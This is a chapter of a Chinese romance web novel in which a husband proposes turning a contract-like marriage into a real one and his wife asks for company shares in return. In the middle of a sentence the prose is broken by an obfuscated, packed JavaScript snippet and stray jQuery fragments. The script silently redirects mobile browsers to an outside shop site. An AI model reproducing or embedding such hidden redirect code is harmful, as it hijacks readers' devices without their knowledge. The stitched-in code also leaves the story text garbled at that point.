郁杳早就溜进过霍景川的书房,她在霍家住了一年,闲来无事时将每个房间都逛过一遍。
霍景川的书房和霍景川一样沉闷又无趣,硕大的书柜里摆满了各种各样晦涩难懂的书。
郁杳曾经翻开看了一眼,立刻过敏似的呼吸不顺,只能赶紧关上。也不知道霍景川是真的看过这些书,还是只是为了装逼摆在那罢了。
整个书房唯一有活力的只有前不久郁杳命人挂上去的那棵“大树”。
此时,郁杳坐在书桌对面的椅子上,背挺得笔直,双手放在腿上不自觉地在扣手指。
而霍景川坐在她对面,他还没来得及换家居服,身上仍然穿着衬衣,不过胸口解了两粒纽扣,露出一段脖颈和凸出的喉结。
郁杳记得这衬衫下面有多好的身材,不过她不敢动,静静等着霍景川开口。
“我们谈谈。”霍景川注意到郁杳挺得过于板正的背,在自己开口说话后笔直的背还微微一颤。
他不知道自己有这么可怕。
“关于我们这段婚姻关系,我想你有一些误解……”
郁杳不敢看霍景川的眼睛,只好将眼神聚焦在他的嘴唇上。霍景川的嘴唇偏薄,说话的时候也没有一点上扬的弧度。
“我希望有一段长期而稳定的婚姻关系,这意味着我在正常情况下是不会向你提出离婚的……”
郁杳抬眼,终于对上了霍景川的视线。霍景川的眼眸黑得如窗外的夜,深沉地让人捉摸不透。
他表情依然严肃,即使现在,依旧像是在谈判桌上进行会谈。郁杳耐着性子,听他继续说。
“所以,我希望我们可以彼此坦诚,共同经营这段婚姻。”
霍景川尽量将话说得委婉,在他看来,他从未要求过郁杳怎样,但对方显然不是这么认为。
她过于小心,又体贴入微。
他不在意郁杳那些传闻中的过往,也不希望她一直带着面具在他面前扮演“完美妻子”。
不过,上次霍苏扬发来的视频里,一向“柔弱”的郁杳对上霍青山丝毫不落下风,威胁恐吓,趾高气扬,倒是和他面前这个紧张畏缩的判若两人。
郁杳认真听完,内心却没有任何波动,霍景川的这番话按理说该让她松口气的,至少不用再提心吊胆,害怕霍景川哪一天会厌弃自己。
但是那天跟姜同喻的对话,让她开始反思自己与霍景川的关系。
“好好经营”这四个字广泛而模糊,霍景川是觉得她这一年的“表现不错”才提出要一直保持下去吗?
那万一有一天霍景川发现她并不是如此,知道了她的过往,还会像他今天说的那样和自己继续保持这段关系吗?
况且,她不愿也无法一直这样留在霍景川身边。
书房里灯发出柔和的黄光,巨大的木质书架在灯光下沉闷得可怕。
嘀嗒、嘀嗒、嘀嗒……来自中世纪的钟表推着时间缓慢前进,在指向十一点时发出厚重的声响。
霍景川隔着一张桌子盯着面前的郁杳看,面前的妻子穿着精致得体,一头长发低低地挽在脑后。眉眼低垂,长长的睫毛被灯光一照,在白皙的脸上投下一片阴影。
“我……”
“你……”
沉默被打破,两个人同时开口。
“你先说。”霍景川道。
郁杳抬眼,脸上没有往日那种刻意温柔的笑容。她挺直腰背,眼里闪烁不一样的光。
“霍先生是认可我这一年的表现吗?”
霍景川闻言,眉头立刻皱了一下,思考片刻,回答道:“算是。”
尽管他隐隐觉得郁杳的想法和他并不一致,但归根到底,确实是这个意思。
这一年来,郁杳的霍太太确实做得不错。他没有要求过她做到何种程度,但也的确没让他费心。
无论是面前这个善于伪装的郁杳,还是传闻里那个嚣张跋扈的“郁大小姐”,他觉得都不是什么大问题。在他看来,郁杳年纪小,也没有做什么出格的事。
况且——
霍景川的眼神倏尔落在郁杳白皙的手腕上,那里带着一条碧色的翡翠手串。那手腕太过纤细,手串松松垮垮绕了三圈。
沈梁说的不错,寺庙里的东西材确实质一般。
霍景川有一瞬间走神,开始猜想郁杳要送给自己的那枚平安扣会是什么颜色,郁杳又准备什么时候拿出来送给自己。
“霍先生,那你希望我接下来怎么做呢?”郁杳发现霍景川的眼睛似乎在看自己的手串,她转了下手腕,不自然地扯了扯袖子,将手串盖住,“是还需要我做些什么吗?奶奶那里还是……”
郁杳发现自己根本看不透霍景川,不过霍景川这样的人物应该也没有谁能看透。她只希望霍景川可以讲清楚,她究竟要做到哪一步才可以。
一会儿是“夫妻义务”,一会儿又是“共同经营”,倒像是……倒像是真的想要和她做夫妻。
郁杳不想自作多情,认为自己有多大的魅力,能让霍景川刮目相看。她现在想明白了,依附霍景川终归不是长久之计,她还是要想其他路子。
“你……”
“我……”
两人再次同时开口,郁杳抿了抿唇,这次立刻接上,“你先说!”
霍景川隔着桌子坐在与他风格一致的黑色皮质椅子上,没有立刻开口。
片刻,他突然站起身,绕过巨大的办公桌走到了郁杳对面。
从他起身那一刻起,郁杳的神经就立刻绷紧,她的眼神追随着霍景川的步伐,直至这个人站在自己身边。
霍景川身量很高,常年锻炼让他身材一直保持得不错。郁杳抬着头,望着离自己半步之遥的霍景川。
霍景川将她头顶的灯光挡住,她想被黑暗笼在了怀里。
居高临下的霍景川,带着令人心惊的压迫感。郁杳仰着的脖子开始发酸,睁着眼睛不敢眨,睫毛不自然地在抖动。
片刻,她回过神来,倏地站起来,转过身,与霍景川面对面站着。
“你……你要做什么?”郁杳声音里的紧张掩饰不住。
霍景川又皱了下眉,他依然没有开口,而是往前又走了一步。
郁杳跟随他的步伐后退,你进我退,直到郁杳碰到了那张木质的、冰冷的办公桌。
退无可退,郁杳双手在后撑着桌面,再次开口:“做……做什么?”
即使站起身来,霍景川依然比自己高出一大截。
郁杳手指蜷缩,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940978|213920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
指尖发白。而身前的霍景川却依然没有停下,郁杳看着那人俯身靠近自己,只得挺着腰往后倒。
霍景川那张看不出情绪的脸越来越近,郁杳纤细的腰肢再也撑不住,她终于抬手按在了霍景川胸前。
而同一时刻,一双微热的大手也敷上了那盈盈一握的腰上。
郁杳感受到酥麻的暖意从腰间传来,脸颊一瞬间发烫。这一晚上的忍气吞声,疑惑猜忌突然在这一秒爆发。
她挡住霍景川的那只手发力,隐忍着怒意,又再说了一遍:“你到底要干什么!”
霍景川低头看着眼前这个被自己逼得发脾气的“妻子”,心中却是荡起一丝得逞的欣喜。
“就是这样,”霍景川盯着郁杳的双眼,看着她闪亮的眸子里只倒映着自己的身影,“你会觉得难以接受?”
“什么……”郁杳一时没反应过来霍景川到底什么意思,但此刻,他们之间过于近的距离,那席卷全身的冷冽木质香水味,她大概懂了,霍景川的意思。
“我一直在说,我们是合理合法的夫妻,而现在我希望我们能成为真正的夫妻,”霍景川犹豫了一下,思考要不要再解释什么是“真正的夫妻”。
“像我说的,我对妻子并没有什么过分的要求,而这份稳定且长久的关系,我希望可以落在实处,”他停顿了一秒,又加了一句,“各个方面。”
郁杳的手指细长,抵在他的胸前,那串手串又露了出来。他感觉到胸前的那只手似乎动了一下,挠的人心里发痒。
他看出郁杳的紧张,但他不认为自己会输在某个方面。他不动声色地发力,让胸肌更加坚硬,带着侵略的眼神直勾勾看着郁杳。
不知过了多久,郁杳手下用力,将霍景川推开,自己也重新站直身体。
“可以,”郁杳的眼神不再惊慌,这次换她直直盯着霍景川,“不过我有个条件。”
霍景川的嘴角抽动了一下,听见这一句后沉默了一秒,“你说。”
“我要霍氏的股份,”郁杳放在身侧的手指攥紧,尽力掩饰声音里的颤抖,“如果我们离婚,我要霍氏百分之五的股份。”
就在刚刚那令人尴尬的时间里,郁杳认真想了一下她与霍景川的关系,她不知道霍景川因为什么对她有了兴趣。
但是,感情容易变质,婚姻也不会长久,而只有钱,才是她最硬的底气。
支撑外公的公司要钱,她想要自由无虑的生活要钱。她没有谈过恋爱,也不对爱情抱有幻想。爱情本来就虚无缥缈难得一遇,她愿意以此来和霍景川谈判。
她不知道霍景川会不会同意,也不确定自己这番话会不会惹毛他。她挺直腰板,让自己气势凌人,她有一瞬间的恍惚,仿佛回到了一年前的自己。
郁杳不想暴露自己的紧张,却看见身前的霍景川突然轻笑了一声。
她不明白自己这番话有什么好笑,难道在霍景川眼里,自己就是这么可笑嘛?!
她还来不及发作,却又听见霍景川开口,“我同意。”
“啊?”郁杳明显愣了一下,霍景川就这么同意了?那接下来……
“那……”郁杳试探开口,“那接下来要我做什么?”
霍景川:“先从不分床开始?”